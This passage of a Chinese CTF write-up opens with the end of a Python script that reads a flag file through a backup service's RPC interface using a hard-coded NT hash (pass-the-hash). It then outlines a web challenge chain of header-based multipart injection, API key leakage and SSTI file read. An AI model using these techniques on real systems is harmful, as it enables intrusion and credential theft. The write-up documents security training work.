121);line-height: 26px;"><span leaf="">&#39;&lt;I&#39;</span></span><span leaf="">, bytes_to_read)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> request</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">build_close_file_request</span></span><span style="line-height: 26px;"><span leaf="">(file_handle)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;&#34;&#34;Build raw NDR request for CloseFileHandle&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> file_handle  </span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># Just the context handle</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">main</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    target = </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;116.62.114.4&#39;</span></span><span leaf=""><br/></span><span leaf="">    port = </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">62831</span></span><span leaf=""><br/></span><span leaf="">    domain = </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;CORP.LOCAL&#39;</span></span><span leaf=""><br/></span><span leaf="">    username = </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;svc_fileshare&#39;</span></span><span leaf=""><br/></span><span leaf="">    nthash = </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;02c5257056442b3ba003fbe6c228b95b&#39;</span></span><span leaf=""><br/></span><span leaf="">    INTERFACE_UUID = uuid.uuidtup_to_bin((</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;62e00289-44bd-497b-b85f-bc340fbcc2b0&#39;</span></span><span leaf="">, </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;1.0&#39;</span></span><span leaf="">))</span><span leaf=""><br/></span><span leaf="">    target_file = </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">r&#39;C:\Users\Administrator\Desktop\flag.txt&#39;</span></span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;=&#39;</span></span><span leaf=""> * </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">60</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;Backup Exec RPC Exploit - Raw Version&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;=&#39;</span></span><span leaf=""> * </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">60</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># Connect</span></span><span leaf=""><br/></span><span leaf="">    stringbinding = </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#39;ncacn_ip_tcp:</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{target}</span></span><span leaf="">[</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{port}</span></span><span leaf="">]&#39;</span></span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#39;[*] Connecting to </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{stringbinding}</span></span><span leaf="">&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    rpctransport = transport.DCERPCTransportFactory(stringbinding)</span><span leaf=""><br/></span><span leaf="">    rpctransport.set_credentials(username, </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;&#39;</span></span><span leaf="">, domain, lmhash=</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;&#39;</span></span><span leaf="">, nthash=nthash)</span><span leaf=""><br/></span><span leaf="">    dce = rpctransport.get_dce_rpc()</span><span leaf=""><br/></span><span leaf="">    dce.set_auth_level(rpcrt.RPC_C_AUTHN_LEVEL_PKT_PRIVACY)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">try</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        dce.connect()</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;[+] Connected!&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        dce.bind(INTERFACE_UUID)</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;[+] Bound to interface!&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">except</span></span><span leaf=""> Exception </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">as</span></span><span leaf=""> e:</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#39;[-] Connection failed: </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{e}</span></span><span leaf="">&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># Build and send OpenRemoteFile request (opnum 0)</span></span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#39;[*] Opening file: </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{target_file}</span></span><span leaf="">&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    request_data = build_open_file_request(target_file)</span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#39;[DEBUG] Request (</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{len(request_data)}</span></span><span leaf=""> bytes): </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{request_data.hex()}</span></span><span leaf="">&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">try</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        dce.call(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">, request_data)  </span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># opnum 0 = OpenRemoteFile</span></span><span leaf=""><br/></span><span leaf="">        resp = dce.recv()</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> resp </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">is</span></span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">None</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;[-] No response received&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#39;[+] Got response (</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{len(resp)}</span></span><span leaf=""> bytes)&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#39;[DEBUG] Response: </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{resp.hex()}</span></span><span leaf="">&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># Parse response: context_handle (20) + padding(4) + file_size (8) + error_code (4) + return_value (1)</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> len(resp) &gt;= </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">37</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            file_handle = resp[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">20</span></span><span leaf="">]</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># Skip 4 bytes padding</span></span><span leaf=""><br/></span><span leaf="">            file_size = struct.unpack(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;&lt;Q&#39;</span></span><span leaf="">, resp[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">24</span></span><span leaf="">:</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">32</span></span><span leaf="">])[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">            error_code = struct.unpack(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;&lt;I&#39;</span></span><span leaf="">, resp[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">32</span></span><span leaf="">:</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">36</span></span><span leaf="">])[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">            ret_val = resp[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">36</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">            print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#39;[*] Return value: </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{ret_val}</span></span><span leaf="">&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">            print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#39;[*] Error code: </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{error_code}</span></span><span leaf="">&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">            print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#39;[*] File size: </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{file_size}</span></span><span leaf="">&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">            print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#39;[*] Handle: </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{file_handle.hex()}</span></span><span leaf="">&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> ret_val == </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;[+] File opened successfully!&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># Read file content</span></span><span leaf=""><br/></span><span leaf="">                content = </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">b&#39;&#39;</span></span><span leaf=""><br/></span><span leaf="">                offset = </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span leaf="">                chunk_size = </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">4096</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">while</span></span><span leaf=""> offset &lt; file_size:</span><span leaf=""><br/></span><span leaf="">                    to_read = min(chunk_size, file_size - offset)</span><span leaf=""><br/></span><span leaf="">                    read_request = build_read_file_request(file_handle, offset, to_read)</span><span leaf=""><br/></span><span leaf="">                    dce.call(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">, read_request)  </span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># opnum 1 = ReadFileData</span></span><span leaf=""><br/></span><span leaf="">                    read_resp = dce.recv()</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> read_resp </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">is</span></span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">None</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                        print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;[-] No response for ReadFileData&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">break</span></span><span leaf=""><br/></span><span leaf="">                    print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#39;[DEBUG] ReadFileData response (</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{len(read_resp)}</span></span><span leaf=""> bytes): </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{read_resp.hex()}</span></span><span leaf="">&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># Parse: max_count(4) + offset(4) + actual_count(4) + data + bytes_read(4) + error(4) + ret(1)</span></span><span leaf=""><br/></span><span leaf="">                    max_count = struct.unpack(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;&lt;I&#39;</span></span><span leaf="">, read_resp[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">4</span></span><span leaf="">])[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">                    actual_count = struct.unpack(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;&lt;I&#39;</span></span><span leaf="">, read_resp[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">8</span></span><span leaf="">:</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">12</span></span><span leaf="">])[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">                    data = read_resp[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">12</span></span><span leaf="">:</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">12</span></span><span leaf="">+actual_count]</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># Find bytes_read after data (aligned to 4)</span></span><span leaf=""><br/></span><span leaf="">                    data_end = </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">12</span></span><span leaf=""> + actual_count</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> data_end % </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">4</span></span><span leaf=""> != </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                        data_end += </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">4</span></span><span leaf=""> - (data_end % </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">4</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">                    bytes_read = struct.unpack(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;&lt;I&#39;</span></span><span leaf="">, read_resp[data_end:data_end+</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">4</span></span><span leaf="">])[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">                    print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#39;[DEBUG] max_count=</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{max_count}</span></span><span leaf="">, actual_count=</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{actual_count}</span></span><span leaf="">, bytes_read=</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{bytes_read}</span></span><span leaf="">&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> bytes_read &gt; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                        decrypted = xor_decrypt(data[:bytes_read])</span><span leaf=""><br/></span><span leaf="">                        content += decrypted</span><span leaf=""><br/></span><span leaf="">                        offset += bytes_read</span><span leaf=""><br/></span><span leaf="">                        print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#39;[*] Read </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{offset}</span></span><span leaf="">/</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{file_size}</span></span><span leaf=""> bytes&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">break</span></span><span leaf=""><br/></span><span leaf="">                print()</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># Close file</span></span><span leaf=""><br/></span><span leaf="">                close_request = build_close_file_request(file_handle)</span><span leaf=""><br/></span><span leaf="">                dce.call(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">2</span></span><span leaf="">, close_request)  </span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># opnum 2 = CloseFileHandle</span></span><span leaf=""><br/></span><span leaf="">                print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;[*] File closed&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># Print content</span></span><span leaf=""><br/></span><span leaf="">                print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;=&#39;</span></span><span leaf=""> * </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">60</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">                print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;FLAG CONTENT:&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">                print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;=&#39;</span></span><span leaf=""> * </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">60</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">try</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                    print(content.decode(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;utf-8&#39;</span></span><span leaf="">))</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">except</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">try</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                        print(content.decode(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;utf-16-le&#39;</span></span><span leaf="">))</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">except</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                        print(content)</span><span leaf=""><br/></span><span leaf="">                print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;=&#39;</span></span><span leaf=""> * </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">60</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#39;[-] Failed to open file, error: </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{error_code}</span></span><span leaf="">&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#39;[-] Unexpected response length: </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{len(resp)}</span></span><span leaf="">&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">except</span></span><span leaf=""> Exception </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">as</span></span><span leaf=""> e:</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#39;[-] Error: </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{e}</span></span><span leaf="">&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">import</span></span><span leaf=""> traceback</span><span leaf=""><br/></span><span leaf="">        traceback.print_exc()</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">finally</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        dce.disconnect()</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> __name__ == </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;__main__&#39;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">    main()</span></code></pre><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;align-items: unset;background: no-repeat;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow: unset;padding: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background: no-repeat rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding: 2px 10px;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin: 0px;overflow: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">cutter</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">通过对后端的app.py进行审计，</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">heartbeat 是个action的代理，虽然说有吧action的 type写成固定为echo，但headers[client]部分还是可以设置请求的http头，通过这里可以进行Multipart 注入</span></p><figure data-tool="mdnice编辑器" style="margin: 10px 0px;padding: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.7271805273833671" data-type="png" data-w="986" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030461" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=d84e61fa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBRP61IiaVg5NGZYYEXLExH5N1X2PdyNzTpRmzeWRbor81uLf7vGHia3YIRFm4PKePN2rjGfq5UxA22g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">action 中，当type为debug时能解析格式化输出的表达式，通过这里可以泄露出系统的API_KEY</span></p><figure data-tool="mdnice编辑器" style="margin: 10px 0px;padding: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.9444444444444444" data-type="png" data-w="576" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030460" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=7620c566&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBRP61IiaVg5NGZYYEXLExH5NMLTe5ljT8vILUTWCWD2VywCQ9AibBOIMYO0NCQ4DEYqLdPBxlYsqRGg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">然后是admin部分，需要先获取API_KEY才能进入这段逻辑</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">代码中存在SSTI漏洞，模板的路径没有做过滤，是可以读取任意文件并进行SSTI</span></p><figure data-tool="mdnice编辑器" style="margin: 10px 0px;padding: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.6609880749574105" data-type="png" data-w="587" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030463" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=1118d2af&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBRP61IiaVg5NGZYYEXLExH5NOWTVVMmULp7nqXTS6fk5JFO9G3feyLiaoCvlQHMHpibibSIedcaQnwvPw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">结合以上内容，大致路径如下：</span></p><ol style="list-style-type: decimal;margin: 8px 0px;padding: 0px 0px 0px 25px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">通过heartbeat对action部分进行代理请求</span></p></li></ol><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">A. 覆盖 Content-Type</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">/heartbeat 允许用户控制部分 Headers：</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">    headers[client] = token</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 